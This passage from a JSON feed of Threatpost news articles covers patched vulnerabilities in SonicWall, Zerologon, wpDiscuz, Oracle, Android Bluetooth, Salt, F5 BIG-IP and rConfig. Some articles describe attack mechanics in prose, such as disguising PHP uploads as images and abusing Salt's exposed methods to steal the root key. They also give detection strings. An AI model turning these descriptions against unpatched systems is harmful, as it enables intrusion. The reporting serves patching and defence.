this time, SonicWall is not aware of a vulnerability that has been exploited or that any customer has been impacted.\u201d\n\nIt added, \u201cSonicWall maintains the highest standards to ensure the integrity of its products, solutions, services, technology and any related IP. As such, the company takes every disclosure or discovery seriously.\u201d\n\nThe following versions are vulnerable: SonicOS 6.5.4.7-79n and earlier; SonicOS 6.5.1.11-4n and earlier; SonicOS 6.0.5.3-93o and earlier; SonicOSv 6.5.4.4-44v-21-794 and earlier; and SonicOS 7.0.0.0-1.\n\n\u201cOrganizations exposing VPN portals to the web should not consider these systems as impenetrable fortresses,\u201d Young told Threatpost. \u201cIf the last 18 months has shown anything, it is that enterprise VPN firewalls [can be just as insecure](<https://threatpost.com/vpn-unplanned-remote-employees/155488/>) as a cheap home router. It is crucial to employ a tiered security model to recognize and respond to unauthorized activity.\u201d\n\n## More Patches\n\nThe update from SonicWall actually patches 11 flaws found by Positive Technologies experts, including one vulnerability independently and in parallel discovered by another company (CVE-2020-5135).\n\nOf note is CVE-2020-5143, which allows criminals to try existing logins in the system, after which they can be brute-forced.\n\n\u201cIt essentially makes the brute force easier: First, attackers brute-force usernames (it\u2019s called user enumeration) and know for sure that they exist, and after that they brute-force passwords for these usernames,\u201d PT told Threatpost.\n\nMeanwhile, CVE-2020-5142 allows an unauthenticated attacker to inject JavaScript code in the firewall SSL-VPN portal. And, several vulnerabilities open a path to DoS attacks and can be used even by an unauthenticated attacker.\n\n_**This story was updated on Oct. 15 to include a statement from SonicWall and additional information from Positive Technologies.**_\n", "cvss3": {}, "published": "2020-10-14T18:43:23", "type": "threatpost", "title": "Critical SonicWall VPN Portal Bug Allows DoS, Worming RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-5142", "CVE-2020-5143"], "modified": "2020-10-14T18:43:23", "id": "THREATPOST:701953AF963ADACDD2280B3D18B58493", "href": "https://threatpost.com/critical-sonicwall-vpn-bug/160108/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:08:35", "description": "Microsoft is warning that an Iranian nation-state actor is now actively exploiting the Zerologon vulnerability (CVE-2020-1472), adding fuel to the fire as the severe flaw continues to plague businesses.\n\nThe [advanced persistent threat](<https://threatpost.com/iranian-apt-targets-govs-with-new-malware/153162/>) (APT) actor, which Microsoft calls MERCURY (also known as MuddyWater, Static Kitten and Seedworm) has historically [targeted government victims](<https://threatpost.com/muddywater-apt-custom-tools/144193/>) in the Middle East to exfiltrate data. Exploiting the bug allows an unauthenticated attacker, with network access to a domain controller, to completely compromise all Active Directory identity services, according to Microsoft.\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\n\u201cMSTIC has observed activity by the nation-state actor MERCURY using the CVE-2020-1472 exploit (Zerologon) in active campaigns over the last 2 weeks,\u201d according to a [Microsoft tweet on Monday evening](<https://twitter.com/MsftSecIntel/status/1313246337153077250>).\n\nMicrosoft released a patch for the Zerologon vulnerability ([CVE-2020-1472](<https://www.tenable.com/cve/CVE-2020-1472>)) as part of its [August 11, 2020 Patch Tuesday security updates](<https://threatpost.com/microsoft-out-of-band-security-update-windows-remote-access-flaws/158511/>). The bug is located in a core authentication component of Active Directory within the Windows Server OS and the Microsoft Windows Netlogon Remote Protocol (MS-NRPC). [As previous reported](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>), the flaw stems from the Netlogon Remote Protocol, available on Windows domain controllers, which is used for various tasks related to user and machine authentication.\n\n[Then, earlier in September, the stakes got higher](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>) for risks tied to the bug when four public proof-of-concept exploits for the flaw were released on** **[Github.](<https://github.com/dirkjanm/CVE-2020-1472>) This spurred the Secretary of Homeland Security to issue a rare emergency directive, ordering federal agencies to patch their Windows Servers against the flaw by Sept. 21.\n\nMicrosoft\u2019s alert also comes [a week after Cisco Talos researchers warned of](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>) a spike in exploitation attempts against Zerologon.\n\n> MSTIC has observed activity by the nation-state actor MERCURY using the CVE-2020-1472 exploit (ZeroLogon) in active campaigns over the last 2 weeks. We strongly recommend patching. Microsoft 365 Defender customers can also refer to these detections: <https://t.co/ieBj2dox78>\n> \n> \u2014 Microsoft Security Intelligence (@MsftSecIntel) [October 5, 2020](<https://twitter.com/MsftSecIntel/status/1313246337153077250?ref_src=twsrc%5Etfw>)\n\nMicrosoft did not reveal further details of the MERCURY active exploitations in terms of victimology; however, a graph on its website shows that exploitation attempts (by attackers and red teams in general) started as early as Sept. 13 and have been ongoing ever since.\n\n[![zerologon flaw active exploit](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/06110502/1.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/06110502/1.png>)\n\nZerologon flaw attacker and red team activity. Credit: Microsoft\n\n\u201cOne of the adversaries noticed by our analysts was interesting because the attacker leveraged an older vulnerability for SharePoint (CVE-2019-0604) to exploit remotely unpatched servers (typically Windows Server 2008 and Windows Server 2012) and then implant a web shell to gain persistent access and code execution,\u201d said Microsoft [in an earlier analysis](<https://techcommunity.microsoft.com/t5/microsoft-365-defender/zerologon-is-now-detected-by-microsoft-defender-for-identity-cve/ba-p/1734034>). \u201cFollowing the web shell installation, this attacker quickly deployed a Cobalt Strike-based payload and immediately started exploring the network perimeter and targeting domain controllers found with the Zerologon exploit.\u201d\n\nMicrosoft for its part is addressing the vulnerability in a phased rollout. The initial deployment phase started with Windows updates being released on August 11, 2020, while the second phase, planned for the first quarter of 2021, will be an \u201cenforcement phase.\u201d\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n", "cvss3": {}, "published": "2020-10-06T15:51:12", "type": "threatpost", "title": "Microsoft Zerologon Flaw Under Attack By Iranian Nation-State Actors", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0604", "CVE-2020-1472", "CVE-2020-5135"], "modified": "2020-10-06T15:51:12", "id": "THREATPOST:51A2EB5F46817EF77631C9F4C6429714", "href": "https://threatpost.com/microsoft-zerologon-attack-iranian-actors/159874/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:16:07", "description": "Researchers are warning of a critical vulnerability in a WordPress plugin called Comments \u2013 wpDiscuz, which is installed on more than 70,000 websites. The flaw gives unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.\n\nComments \u2013 wpDiscuz enables WordPress websites to add custom comment forms and fields to sites, and serves as an alternative to services like Disqus. Researchers with Wordfence, who discovered the flaw, have notified[ the plugin\u2019s developer](<https://wordpress.org/plugins/wpdiscuz/>), gVectors, which issued a patch on July 23.\n\nWith a CVSS score of 10 out of 10, the glitch is considered critical in severity, and researchers are urging website administrators to ensure that they update.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis vulnerability was introduced in the plugin\u2019s latest major version update,\u201d said Wordfence researchers [in a Tuesday post](<https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/>). \u201cThis is considered a critical security issue that could lead to remote code execution on a vulnerable site\u2019s server. If you are running any version from 7.0.0 to 7.0.4 of this plugin, we highly recommend updating to the patched version, 7.0.5, immediately.\u201d\n\nThreatpost has reached out to gVectors for further comment.\n\n## **The Flaw**\n\nIn the latest overhaul of the plugin (versions 7.x.x), its developers added a feature that gives users the ability to include image attachments in comments that are uploaded to a website.\n\nHowever, the implementation of this feature lacked security protections vetting file attachments in the comments to make sure they actually are image files, versus another type of file.\n\nThis lack of verification could allow an unauthenticated user to upload any type of file, including PHP files. To pass the file content-verification check, an attacker would simply need to add an image to make any file look like the allowed file type.\n\nAfter uploading a file, the file-path location is returned as part of the request\u2019s response, allowing the attacker to easily find the file\u2019s location and access it. This means that attackers could upload arbitrary PHP files and then access those files to trigger their execution on the server, achieving remote code execution, said researchers.\n\n\u201cIf exploited, this vulnerability could allow an attacker to execute commands on your server and traverse your hosting account to further infect any sites hosted in the account with malicious code,\u201d said researchers. \u201cThis would effectively give the attacker complete control over every site on your server.\u201d\n\n## **WordPress Plugin Bugs**\n\nWordPress plugins continue to be plagued by vulnerabilities, which have dire consequences for websites. Earlier in July, [it was discovered that the](<https://threatpost.com/advertising-plugin-wordpress-full-site-takeovers/157283/>) Adning Advertising plugin for WordPress, a premium plugin with over 8,000 customers, contains a critical remote code-execution vulnerability with the potential to be exploited by unauthenticated attackers.\n\nIn May, Page Builder by SiteOrigin, a WordPress plugin with a million active installs that\u2019s used to build websites via a drag-and-drop function, [was found to harbor](<https://threatpost.com/wordpress-page-builder-bugs-takeover/155659/>) two flaws that could allow full site takeover.\n\nMeanwhile in April, it was revealed that legions of website visitors could be infected with drive-by malware, among other issues, thanks to a [CSRF bug in Real-Time Search and Replace](<https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/>).\n\n**_Complimentary Threatpost Webinar__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c__[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)__\u201d brings top cloud-security experts together to explore how __Confidential Computing__ is a game changer for securing dynamic cloud data and preventing IP exposure. Join us __[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) __for this__ FREE __live webinar._**\n", "cvss3": {}, "published": "2020-07-29T16:32:00", "type": "threatpost", "title": "Critical Security Flaw in WordPress Plugin Allows RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2020-07-29T16:32:00", "id": "THREATPOST:EFC814A6564326F98824AC875F125E0D", "href": "https://threatpost.com/critical-rce-flaw-wordpress-plugin-on-70k-sites/157824/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-21T17:28:34", "description": "Business software giant Oracle is urging customers to update their systems in the October release of its quarterly Critical Patch Update (CPU), which fixes 402 vulnerabilities across various product families.\n\nWell over half (272) of these vulnerabilities open products up to remote exploitation without authentication. That means that the flaw may be exploited over a network without requiring user credentials.\n\nThe majority of the flaws are in Oracle Financial Services Applications (53), Oracle MySQL (53), Oracle Communications (52), Oracle Fusion Middleware (46), Oracle Retail Applications (28) and Oracle E-Business Suite (27). But overall, 27 Oracle product families are affected by the flaws. Users can find a patch availability document for each product, [available here](<https://www.oracle.com/security-alerts/cpuoct2020traditional.html>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cOracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches,\u201d according to the company\u2019s [release on Tuesday](<https://www.oracle.com/security-alerts/cpuoct2020.html>). \u201cIn some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.\u201d\n\nWhile details of the flaws themselves are scant, two of the critical vulnerabilities disclosed by Oracle rank the highest severity score \u2013 10 out of 10 \u2013 on the CVSS scale.\n\nThese include a flaw in the self-service analytics component of Oracle Healthcare Foundation, which is a unified healthcare-analytics platform that is part of the Oracle Health Science Applications suite. The flaw (CVE-2020-1953), which can be remotely exploited without requiring any user credentials, requires no user interaction and is easy to exploit, according to Oracle. Affected supported versions include 7.1.1, 7.2.0, 7.2.1 and 7.3.0.\n\nThe second severe flaw (CVE-2020-14871) exists in the pluggable authentication module of Oracle Solaris, its enterprise operating system for Oracle Database and Java applications (part of the Oracle Systems risk matrix). The flaw is also remotely exploitable without user credentials, requires no user interaction and is a \u201clow-complexity\u201d attack. Versions 10 and 11 are affected.\n\nSixty-five of the vulnerabilities also had a CVSS base score of 9.8 (and six had a score of 9.4) out of 10, making them critical in severity.\n\nOracle did offer some workarounds, advising that for attacks that require certain privileges or access to certain packages, removing the privileges or the ability to access the packages from users that do not need the privileges may help reduce the risk of successful attack. Users can also reduce the risk of successful attack by blocking network protocols required by an attack.\n\nHowever, both these approaches may break application functionality, and Oracle does not recommend that either approach be considered a long-term solution as neither corrects the underlying problem.\n\n\u201cDue to the threat posed by a successful attack, Oracle strongly recommends that customers apply Critical Patch Update security patches as soon as possible,\u201d according to the company.\n\nOracle releases its CPUs on the Tuesday closest to the 17th day of January, April, July and October.\n\nPrevious quarterly updates have stomped out hundreds of bugs across the company\u2019s product lines, [including one in April ](<https://threatpost.com/oracle-tackles-405-bugs-for-april-quarterly-patch-update/154737/>)that patched 405. There are also out-of-band updates; in June for instance, Oracle warned of a [critical remote code-execution](<https://threatpost.com/oracle-warns-of-new-actively-exploited-weblogic-flaw/145829/>) flaw in its WebLogic Server being actively exploited in the wild.\n", "cvss3": {}, "published": "2020-10-21T17:21:13", "type": "threatpost", "title": "Oracle Kills 402 Bugs in Massive October Patch Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-14871", "CVE-2020-1953", "CVE-2020-5135"], "modified": "2020-10-21T17:21:13", "id": "THREATPOST:B6946D18AC7359473DB43051174C70B0", "href": "https://threatpost.com/oracle-october-patch-update/160407/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:31:00", "description": "A critical vulnerability in the Bluetooth implementation on Android devices could allow attackers to launch remote code execution (RCE) attacks \u2013 without any user interaction.\n\nResearchers on Thursday revealed further details behind the [critical Android flaw](<https://threatpost.com/critical-android-bugs-patched-in-update/152539/>) ([CVE-2020-0022),](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0022>) which was patched earlier this week as part of Google\u2019s February [Android Security Bulletin](<https://source.android.com/security/bulletin/2020-02-01>). The RCE bug poses as a critical-severity threat to Android versions Pie (9.0) and Oreo (8.0, 8.1), which account for almost two-thirds of Android devices at this point, if they have enabled Bluetooth.\n\nOn these versions, researchers said that a remote attacker \u201cwithin proximity\u201d can silently execute arbitrary code with the privileges of the Bluetooth daemon, which is a program that runs in the background and handles specified tasks at predefined times or in response to certain events. The flaw is particularly dangerous because no user interaction is required and only the Bluetooth MAC address of the target devices has to be known to launch the attack, researchers said.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cFor some devices, the Bluetooth MAC address can be deduced from the WiFi MAC address,\u201d German security company ERNW [said in a recent analysis](<https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android-cve-2020-0022/>). \u201cThis vulnerability can lead to theft of personal data and could potentially be used to spread malware (Short-Distance Worm).\u201d\n\nThe same CVE also impacts Google\u2019s most recent Android version, Android 10. However, with Android 10, the severity rating is moderate and the impact is not a RCE bug, but rather a denial of service threat which could result in the crash of the Bluetooth daemon, researchers said.\n\nAndroid versions older than 8.0 might also be affected, but researchers said they have not tested the impact. They said, once they are \u201cconfident\u201d all patches have reached the end users, they will publish a technical report on the flaw that includes a description of the exploit as well as proof-of-concept code.\n\nGoogle said an over-the-air update and firmware images for Google devices are available for its Pixel and Nexus devices, and third-party carriers will also deliver updates to vendor handsets. Altogether, the company\u2019s February patch roundup for its Android OS included 25 bugs and patches. Nineteen of those vulnerabilities are rated high, with four additional bugs also rated high, but associated with Qualcomm chipsets used inside Android devices.\n\nIn the meantime, researchers urge users to install the latest patches from the February Android Security Bulletin. In terms of other mitigations, they said, users can also stay secure by only enabling Bluetooth \u201cif strictly necessary.\u201d\n\n\u201cCVE-2020-0022 can be exploited by anyone within range of your vulnerable phone who can figure out your Bluetooth MAC address, which is not a difficult exercise,\u201d Jonathan Knudsen, senior security strategist at Synopsys, said in an email. \u201cAs a user, keeping current with updates and applying them in a timely manner is important. Unfortunately, many vulnerable, slightly older phones will not have continuing software update support from the manufacturer, which means users are faced with two unattractive options: either disable Bluetooth entirely, or get a newer phone.\u201d\n\nIt\u2019s not the first time Bluetooth flaws have left Android devices exposed to various threats. In 2019, researchers found a critical vulnerability (CVE-2019-2009) [impacting the Android core system](<https://threatpost.com/google-critical-bluetooth-rce/142685/>) (version 7 and later) related to the Bluetooth component \u201cl2c_lcc_proc_pdu\u201d. The infamous [BlueBorne attack uncovered in 2017](<https://threatpost.com/wireless-blueborne-attacks-target-billions-of-bluetooth-devices/127921/>) also affected Android devices (as well as iOS devices), allowing attackers to jump from one nearby Bluetooth device to another wirelessly.\n\n_**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us [Wednesday, Feb. 19 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>) when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**_\n", "cvss3": {}, "published": "2020-02-07T20:35:43", "type": "threatpost", "title": "Critical Android Bluetooth Bug Enables RCE, No User Interaction Needed", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-2009", "CVE-2020-0022", "CVE-2020-5135"], "modified": "2020-02-07T20:35:43", "id": "THREATPOST:96E2DCEDA40DFA7D30B6AB9F86D38FEB", "href": "https://threatpost.com/critical-android-bluetooth-bug-enables-rce-no-user-interaction-needed/152699/", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:25:49", "description": "The open-source Salt management framework contains high-severity security vulnerabilities that allow full remote code execution as root on servers in data centers and cloud environments. And in-the-wild attacks are expected imminently.\n\nAccording to F-Secure researchers, the framework, authored by the company SaltStack but also used as an [open-source configuration tool](<https://github.com/saltstack/salt>) to monitor and update the state of servers, has a pair of flaws within its default communications protocol, known as ZeroMQ.\n\nA bug tracked as CVE-2020-11651 is an authentication bypass issue, while CVE-2020-11652 is a directory-traversal flaw where untrusted input (i.e. parameters in network requests) is not sanitized correctly. This in turn allows access to the entire filesystem of the master server, researchers found.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe bugs are especially dangerous given the topography of the Salt framework.\n\n\u201cEach server [managed by Salt] runs an agent called a \u2018minion,\u2019 which connects to a \u2018master,'\u201d explained F-Secure, [in a writeup](<https://labs.f-secure.com/advisories/saltstack-authorization-bypass>) on Thursday. \u201c[A master is a] Salt installation that collects state reports from minions and publishes update messages that minions can act on.\u201d\n\nThese update messages are usually used to change the configuration of a selection of servers, but they can also be used to push out commands to multiple, or even all, of the managed systems, researchers said. An adversary thus can compromise the master in order to send malicious commands to all of the other servers in the cluster, all at the same time.\n\n## **Lapses in Protocol**\n\nTo communicate, the master uses two [ZeroMQ channels](<https://docs.saltstack.com/en/getstarted/system/communication.html>). As F-Secure explained, one is a \u201crequest server\u201d where minions can connect to report their status (or the output of commands). The other is a \u201cpublish server\u201d where the master publishes messages that the minions can connect and subscribe to.\n\nThe authentication bypass can be achieved because the ClearFuncs class processes unauthenticated requests and unintentionally exposes the \u201c_send_pub().\u201d This is the method used to queue messages from the master publish server to the minions \u2013 and thus can be used to send arbitrary commands. Such messages can be used to trigger minions to run arbitrary commands as root.\n\nAlso, \u201cthe ClearFuncs class also exposes the method _prep_auth_info(), which returns the root key used to authenticate commands from the local root user on the master server. This root key can then be used to remotely call administrative commands on the master server. This unintentional exposure provides a remote un-authenticated attacker with root-equivalent access to the salt master.\u201d\n\nAs for the directory traversal, the \u201cwheel\u201d module contains commands used to read and write files under specific directory paths.\n\n\u201cThe inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction,\u201d according to the writeup. \u201cThe get_token() method of the salt.tokens.localfs class (which is exposed to unauthenticated requests by the ClearFuncs class) fails to sanitize the token input parameter which is then used as a filename, allowing\u2026the reading of files outside of the intended directory.\u201d\n\nThe bugs together allow attackers \u201cwho can connect to the request server port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write files anywhere on the master server filesystem and steal the secret key used to authenticate to the master as root,\u201d according to the firm.\n\nAccording to the National Vulnerability Database, \u201cThe salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.\u201d\n\n## **Exploits in Less Than a Day**\n\nF-Secure said that it expects to see attacks in the wild very shortly.\n\n\u201cWe expect that any competent hacker will be able to create 100 percent reliable exploits for these issues in under 24 hours,\u201d the researchers said, citing the \u201creliability and simplicity\u201d of exploitation.\n\nUnfortunately, the firm also said that a preliminary scan has revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet.\n\nPatches are available in release 3000.2. Also, \u201cadding network security controls that restrict access to the salt master (ports 4505 and 4506 being the defaults) to known minions, or at least block the wider internet, would also be prudent as the authentication and authorization controls provided by Salt are not currently robust enough to be exposed to hostile networks,\u201d F-Secure concluded.\n\nTo detect a compromise, ASCII strings \u201c_prep_auth_info\u201d or \u201c_send_pub\u201d will show up in the request server port data (default 4506).\n\nAlso on the detection front, \u201cpublished messages to minions are called \u2018jobs\u2019 and will be saved on the master (default path /var/cache/salt/master/jobs/). These saved jobs can be audited for malicious content or job IDs (\u2018jids\u2019) that look out of the ordinary,\u201d F-Secure noted.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. _**[**_On May 13 at 2 p.m. ET_**](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)**_, join Valimail security experts and Threatpost for a FREE webinar, _**[**_5 Proven Strategies to Prevent Email Compromise_**](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)**_. Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please _**[**_register here _**](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)**_for this sponsored webinar._**\n\n_**Also, don\u2019t miss our latest on-demand webinar from DivvyCloud and Threatpost, **_[_**A Practical Guide to Securing the Cloud in the Face of Crisis**_](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_**, with critical, advanced takeaways on how to avoid cloud disruption and chaos.**_\n", "cvss3": {}, "published": "2020-04-30T20:54:50", "type": "threatpost", "title": "Salt Bugs Allow Full RCE as Root on Cloud Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-11651", "CVE-2020-11652", "CVE-2020-5135"], "modified": "2020-04-30T20:54:50", "id": "THREATPOST:5CB5F29FA05D52DEEC4D54AA46EB9235", "href": "https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:22:26", "description": "About 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices are still vulnerable to full system access and remote code-execution (RCE), despite a patch for a critical flaw being available for two weeks.\n\nThe BIG-IP family consists of application delivery controllers, Local Traffic Managers (LTMs) and domain name system (DNS) managers, together offering built-in security, traffic management and performance application services for private data centers or in the cloud.\n\nAt the end of June, F5 issued urgent patches for a critical RCE flaw ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), which is present in the Traffic Management User Interface (TMUI) of the company\u2019s BIG-IP app delivery controllers. The bug has a CVSS severity score of 10 out of 10, and at the time of disclosure, Shodan [showed](<https://twitter.com/GossiTheDog/status/1279005317821497344/photo/1>) that there were almost 8,500 vulnerable devices exposed on the internet.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nShortly after disclosure, public exploits [were made](<https://twitter.com/wugeej/status/1280008779359125504?s=20>) available for it, leading to mass scanning for [vulnerable devices ](<https://twitter.com/bad_packets/status/1279884302990237696?s=20>)by attackers, and ultimately active exploits.\n\n\u201cCVE-2020-5902 received the highest vulnerability rating of critical from the National Vulnerability Database due to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d Expanse researchers noted in [an advisory](<http://expanse.co/blog/expanse-researchers-show-more-than-8,000-f5-big-ip-tmuis-are-still-exposed-on-the-internet>) issued on Friday. \u201cIt was deemed so critical that U.S. Cyber Command [issued a tweet](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) on the afternoon of July 3, recommending immediate patching despite the holiday weekend. While F5 did not release a proof of concept (PoC) for the exploit, numerous PoCs began appearing on July 5.\u201d\n\nFast-forward to two weeks later, and patches have rolled out to less than 500 of that original group of vulnerable machines, according to the analysis. Expanse researchers said that as of July 15, there were at least 8,041 vulnerable TMUI instances still exposed to the public internet.\n\nThe stakes are high, as one would expect from a critical-rated bug: \u201cThe vulnerability CVE-2020-5902 allows for the execution of arbitrary system commands on vulnerable BIG-IP devices with an exposed and accessible management port via the TMUI,\u201d explained the researchers. \u201cThis vulnerability could provide complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serve as a hop point into other areas of the network.\u201d\n\nTo boot, an additional bug, [CVE-2020-5903](<https://support.f5.com/csp/article/K43638305>), affects the same vulnerable management interface via a cross-site scripting vulnerability (XSS) that Expanse said could also be leveraged to include RCE.\n\nDespite active exploits and security experts urging companies to deploy the urgent patch for the critical vulnerability, patching is clearly going slowly \u2013 something that Tim Junio, CEO and co-founder of Expanse, chalks up to a lack of visibility.\n\n\u201cPatching is likely proceeding slowly because organizations may not know that they have these TMUIs,\u201d Junio told Threatpost. \u201cIf they are unaware of their complete inventory of internet-connected systems and services, they will not have well-defined processes for patching them. Security teams are also often stretched thin and that can result in delays in patching, even for critical items like this.\u201d\n\nJunio also told Threatpost that if a malicious actor gained this type of remote access it could be catastrophic \u2013 and yet the bug carries an ease of exploitation that he likens to a Jedi mind trick.\n\n\u201cAn attacker just needs to send the firewall a set of commands, which are now publicly known, in order to take over the firewall,\u201d he explained. \u201cA physical world analogy: If a firewall is a bit like a guard and a gate at the entrance of a facility that is surrounded by walls, this exploit is like a Jedi mind trick whereby an attacker can walk right up to the guard, suggest to the guard they leave their post and give the attacker a guard uniform and all keys to the gate \u2013 and _the guard will say yes_.\u201d\n\nThe attacker can then carry out all sorts of different nefarious activities in the context of a privileged user.\n\nJunio explained, continuing his analogy, \u201cIn other words, the attacker can now walk into the facility unimpeded (unauthorized access); bring sensitive data and objects out of the facility unimpeded (exfiltration); and can close the gate to legitimate people trying to enter the facility (denial of service); among many other actions.\u201d\n\nThe TMUI is responsible for configuration, and Junio noted that there\u2019s generally no reason for it to be exposed to the internet \u2013 so, a simple interim mitigation (albeit not a full one) in lieu of patching would be to remove it from public view.\n\n\u201cThis is a very concerning number of exposed TMUIs on the internet,\u201d said Junio. \u201cA hack of a major enterprise via this type of attack vector could be very damaging to that organization.\u201d\n\nHe added that he believes that an attack on any number of enterprises could go so far as to be harmful to the global economy.\n\n\u201cActual day-to-day users of F5 equipment are generally going to be security operations, network operations or infrastructure professionals,\u201d said Junio. \u201cBigger picture, the customers/buyers of this technology are some of the world\u2019s largest enterprises and government agencies.\u201d These include 48 out of the Fortune 50, he added, though he\u2019s not aware which, if any, of these specific installations are vulnerable to attack.\n", "cvss3": {}, "published": "2020-07-17T20:59:33", "type": "threatpost", "title": "Thousands of Vulnerable F5 BIG-IP Users Still Open to Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-17T20:59:33", "id": "THREATPOST:F54AECDBDA250A6122DF9A079CE7AEF3", "href": "https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:29:39", "description": "Two bugs in the network configuration utility rConfig have been identified, both allowing remote code execution on affected systems. Worse, one is rated critical and allows for a user to attack a system remotely \u2013 sans authentication.\n\nRConfig is a free open-source configuration management utility used by over 7,000 network engineers to take snapshots of over 7 million network devices, according [the project\u2019s website](<https://www.rconfig.com/>).\n\nThe vulnerabilities ([CVE-2019-16663](<https://nvd.nist.gov/vuln/detail/CVE-2019-16663>), [CVE-2019-16662](<https://nvd.nist.gov/vuln/detail/CVE-2019-16662>)) are both tied to rConfig version 3.9.2. The more serious of the two vulnerabilities (CVE-2019-16662) allows an attacker to execute system commands on affected devices via GET requests, which can lead to command 